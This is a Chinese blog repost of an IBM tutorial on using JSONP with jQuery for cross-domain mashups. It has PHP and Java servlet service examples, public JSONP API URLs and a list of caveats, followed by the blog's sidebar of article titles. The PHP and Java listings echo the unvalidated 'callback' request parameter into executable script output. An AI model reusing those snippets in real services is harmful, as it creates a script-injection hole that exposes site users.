jQuery 的 JSONP 支持

从 1.2 版本开始，jQuery 拥有对 JSONP 回调的本地支持。如果指定了 JSONP 回调，就可以加载位于另一个域的 JSON 数据，回调的语法为：url?callback=?。

jQuery 自动将 ? 替换为要调用的生成函数名。清单 4 显示了该代码。

清单 4. 使用 JSONP 回调

jQuery.getJSON(url+"&callback=?", function(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); });

为此，jQuery 将一个全局函数附加到插入脚本时需要调用的窗口对象。另外，jQuery 也能优化非跨域调用。如果向同一个域发出请求，jQuery 就将其转化为普通 Ajax 请求。

使用 JSONP 支持的示例服务

在上一个例子中，使用了静态文件（ticker.js）将 JavaScript 动态插入到 Web 页面中。尽管返回了 JSONP 回复，但它不允许您在 URL 中定义回调函数名。这不是 JSONP 服务。因此，如何才能将其转换为真正的 JSONP 服务呢？可使用的方法很多。这里我们将分别使用 PHP 和 Java 展示两个示例。

首先，假设您的服务在所请求的 URL 中接受了一个名为 callback 的参数。（参数名不重要，但是客户和服务器必须都同意该名称）。另外假设向服务发送的请求是这样的：

http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=showPrice

在这种情况下，symbol 是表示请求 ticker symbol 的请求参数，而 callback 是 Web 应用程序的回调函数的名称。使用清单 5 所示的代码可以通过 jQuery 的 JSONP 支持调用该服务。

清单 5. 调用回调服务

jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=?",  function(data) {     alert("Symbol: " + data.symbol + ", Price: " + data.price); });

注意，我们使用 ? 作为回调函数名，而非真实的函数名。因为 jQuery 会用生成的函数名替换 ?。所以您不用定义类似于showPrice() 的函数。

清单 6 显示了用 PHP 实现的 JSONP 服务的一段代码。

清单 6. 用 PHP 实现的 JSONP 服务的代码片段

$jsonData = getDataAsJson($_GET['symbol']); echo $_GET['callback'] . '(' . $jsonData . ');'; // prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});

清单 7 显示了具有同样功能的 Java™ Servlet 方法。

清单 7. 用 Java servlet 实现的 JSONP 服务

@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp)    throws ServletException, IOException { 	String jsonData = getDataAsJson(req.getParameter("symbol")); 	String output = req.getParameter("callback") + "(" + jsonData + ");";  	resp.setContentType("text/javascript");            	PrintWriter out = resp.getWriter(); 	out.println(output); 	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"}); }

那么，如果要构建 mashup 应该怎么办，是从第三方服务器收集内容，并在单一的 Web 页面中显示它们吗？答案很简单：您必须使用第三方 JSONP 服务。这种服务并不少。

现成的 JSONP 服务

知道如何使用 JSONP 之后，可以开始使用一些现成的 JSONP Web 服务来构建应用程序和 mashup。下面为接下来的开发项目做准备。（提示：您可以复制特定的 URL 并将其粘贴到浏览器的地址栏，以检查生成的 JSONP 响应）。

Digg API：来自 Digg 的头条新闻：

http://services.digg.com/stories/top?appkey=http%3A%2F%2Fmashup.com&type=javascript &callback=?

Geonames API：邮编的位置信息：

http://www.geonames.org/postalCodeLookupJSON?postalcode=10504&country=US&callback=?

Flickr API：来自 Flickr 的最新猫图片：

http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&tagmode=any &format=json&jsoncallback=?

Yahoo Local Search API：在邮编为 10504 的地区搜索比萨：

http://local.yahooapis.com/LocalSearchService/V3/localSearch?appid=YahooDemo&query=pizza &zip=10504&results=2&output=json&callback=?

回页首

重要提示

JSONP 是构建 mashup 的强大技术，但不幸的是，它并不是所有跨域通信需求的万灵药。它有一些缺陷，在提交开发资源之前必须认真考虑它们。第一，也是最重要的一点，没有关于 JSONP 调用的错误处理。如果动态脚本插入有效，就执行调用；如果无效，就静默失败。失败是没有任何提示的。例如，不能从服务器捕捉到 404 错误，也不能取消或重新开始请求。不过，等待一段时间还没有响应的话，就不用理它了。（未来的 jQuery 版本可能有终止 JSONP 请求的特性）。

JSONP 的另一个主要缺陷是被不信任的服务使用时会很危险。因为 JSONP 服务返回打包在函数调用中的 JSON 响应，而函数调用是由浏览器执行的，这使宿主 Web 应用程序更容易受到各类攻击。如果打算使用 JSONP 服务，了解它能造成的威胁非常重要。（参见参考资料了解更多信息）。

回页首

结束语

在该系列的第一篇文章中，我们讲解了如何结合使用 JSONP 和 jQuery 快速构建强大的 mashup。主要主题包括：

浏览器同源策略的限制以及解决办法
作为一种有效的跨域通信技术，JSONP 能够绕过当前浏览器的同源策略限制
JSONP 使 Web 应用程序开发人员能够快速构建 mashup
示例 JSONP 服务及其使用：Ticker 服务

本系列的下一篇文章将介绍 Yahoo! 查询语言（YQL），这种单端点 JSONP 服务允许您跨 Web 查询、过滤和合并数据。最后还使用 YQL 和 jQuery 构建 mashup 应用程序。

参考资料

了解 JSON，它是针对 Java 和其他语言的 JavaScript Object Notation API。
阅读 “掌握 Ajax，第 10 部分: 使用 JSON 进行数据传输”，并了解在 Ajax 应用程序中使用 JSON 作为数据交换格式。
通过包含三部分的系列文章 “使用 jQuery”了解 jQuery。
Browser Security Handbook 提供关于同源策略的详细描述。
“征服 Ajax 应用程序的安全威胁”为确保 mashup 应用程序的安全提供技巧和最佳实践。
“打造安全 Ajax mashup 的未来”讲解了如何为混合 Web 应用程序改进浏览器。
浏览技术书店，阅读有关这些主题和其他技术主题的图书。

小马歌 2011-11-19 12:40 发表评论

新闻类型编号
新闻类型名称
新闻存放目录名称
使用模版名称

BlogJava-xiaomage234-随笔分类-php

PHP.INI安全配置

php中防止SQL注入的方法

php读取网络文件 curl, fsockopen ,file_get_contents 几个方法的效率对比

curl效率及稳定原来可以远远超越file_get_contents

thrift rpc 使用常见问题解答和经验

Graphviz "gif/png" not recognized问题解决方案

nginx 502 Bad Gateway 错误解决办法

php中include和require的区别

转自：http://my.oschina.net/u/200745/blog/366621.引用文件方式

安装Memcached和Memcached PHP扩展【转】

一,安装Libevent

二,安装Memcached服务端

三,启动Memcached服务

四,安装Libmemcached

五,安装Memcached PHP扩展

Linux中的php-fpm作为服务安装

xsplit A PHP extension for Chinese segmentation using MMSEG algorithm[zz]

【转】淘宝TFS分布式文件系统 + php接口

MongoDB的php应用开发 [转]

PHP5.4新特性

在生产环境中使用php性能测试工具xhprof

PHP程序员最常犯的11个MySQL错误

在centos5下为PHP安装coreseek全文检索引擎支持 【转】

PHP Hash冲突，造成CPU 100%,完全解决方案

PHP5.3 为何不建议使用split()函数

从 PHP V5.2 升级到 PHP V5.3 迁移

隐藏nginx apache和php的版本信息不显示

多线程ppt|doc|docx|pptx转换pdf 【转】

nginx搭建nagios

深度探讨 PHP 之性能 【转】

国外主流PHP框架比较-CodeIgniter、CakePHP、ZendFramework、Symfony [转]

让symfony运行在nginx上的完美配置 【转】

symfony generate.生成.框架.快捷键

javascript表单提交【转】

ibm文档中心，很好的教程

什么是Mashup

简介

编辑本段运行方式

编辑本段目前

编辑本段发展

编辑本段典型应用

地图 Mashup

视频和图象 Mashup

搜索和购物 Mashup

新闻 Mashup

微博 Mashup

使用 JSONP 实现跨域通信，第 1 部分: 结合 JSONP 和 jQuery 快速构建强大的 mashup【转】

转自：http://my.oschina.net/u/200745/blog/36662

1.引用文件方式

在centos5下为PHP安装coreseek全文检索引擎支持【转】

深度探讨 PHP 之性能【转】

让symfony运行在nginx上的完美配置【转】